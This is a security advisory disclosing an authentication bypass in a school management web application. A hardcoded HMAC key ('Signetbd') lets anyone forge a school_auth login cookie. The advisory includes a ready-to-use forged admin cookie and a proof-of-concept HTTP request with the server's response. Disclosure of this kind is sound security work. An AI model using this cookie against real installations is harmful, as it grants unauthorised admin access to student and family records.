Authentication Bypass via Forgery of `school_auth` Cookie (Hardcoded Encryption Key)

[duckpigdog]

Authentication Bypass via Forgery of school_auth Cookie (Hardcoded Encryption Key)

Severity: High
Type: Authentication Bypass / Session Forgery
File(s):

• application/core/MY_Controller.php (lines 20–37, 46–80, 121–123)
• application/config/config.php (line 308)
• application/controllers/Login.php (lines 81–86)

Confirmed by local HTTP verification.

---

Description

The application supports automatic login restoration through a cookie named school_auth. The MY_Controller constructor unconditionally attempts to recover a user session from this cookie via restore_auth_session_from_cookie(). The cookie’s integrity is protected by an HMAC-SHA256 signature generated by the method sign_auth_cookie():

protected function sign_auth_cookie($role, $user_id)
{
    return hash_hmac('sha256', strtolower($role) . ':' . (int) $user_id, (string) $this->config->item('encryption_key'));
}

The signing key is hardcoded in the configuration file:

// application/config/config.php:308
$config['encryption_key'] = 'Signetbd';

Because the key is static and known, an attacker can forge a valid school_auth cookie for any role (admin, teacher, student, parent) and any user ID offline. When the server processes a request with this cookie, restore_auth_session_from_cookie() validates the signature (using the same hardcoded key) and then populates the session (admin_login, teacher_login, etc.), effectively logging the attacker in as the chosen user with no password required.

Steps to Reproduce
Determine the desired role and user ID. For example, an administrator role is admin, and many systems assign the default administrator ID 0 or 1.

Compute the forged signature:

HMAC-SHA256("admin:0", "Signetbd")
= 1d5bd8e459bf76eeced8d45f71eedc102e4c155545a6212ab2fab60e675f67b0

Craft a school_auth cookie using the format role:user_id:signature:

school_auth=admin:0:1d5bd8e459bf76eeced8d45f71eedc102e4c155545a6212ab2fab60e675f67b0

Send a request to any protected endpoint without an existing session:

GET /index.php?admin/dashboard HTTP/1.1
Host: 127.0.0.1:3000
Cookie: school_auth=admin:0:1d5bd8e459bf76eeced8d45f71eedc102e4c155545a6212ab2fab60e675f67b0

Observe the server responds with a new ci_session cookie and the full admin dashboard content, confirming successful authentication bypass.

Proof of Concept
Request:

GET /index.php?admin/dashboard HTTP/1.1
Host: 127.0.0.1:3000
Cookie: school_auth=admin:0:1d5bd8e459bf76eeced8d45f71eedc102e4c155545a6212ab2fab60e675f67b0

Response (excerpt):

HTTP/1.1 200 OK
Set-Cookie: ci_session=9adb8baa71c005bf63495be0e871704250ac575d; path=/; HttpOnly
Content-Type: text/html; charset=UTF-8

...
<div>Available Classes</div>
...
<div>Total Students</div>
...

The response body contains admin‑only content (e.g., “Available Classes”, “Total Students”), and the ci_session cookie proves the server established a valid session for the forged user.

Impact
Complete authentication bypass – any remote attacker can impersonate an administrator, teacher, student, or parent without knowing passwords.

Full system compromise – an attacker with admin privileges can access all data, modify records, delete users, and chained with other vulnerabilities (like stored XSS) can attack every user.

No brute‑forcing required – the attack is deterministic once the key is known.

![](https://pic1.imgdb.cn/item/69f906d3b681ce9bfd208964.png)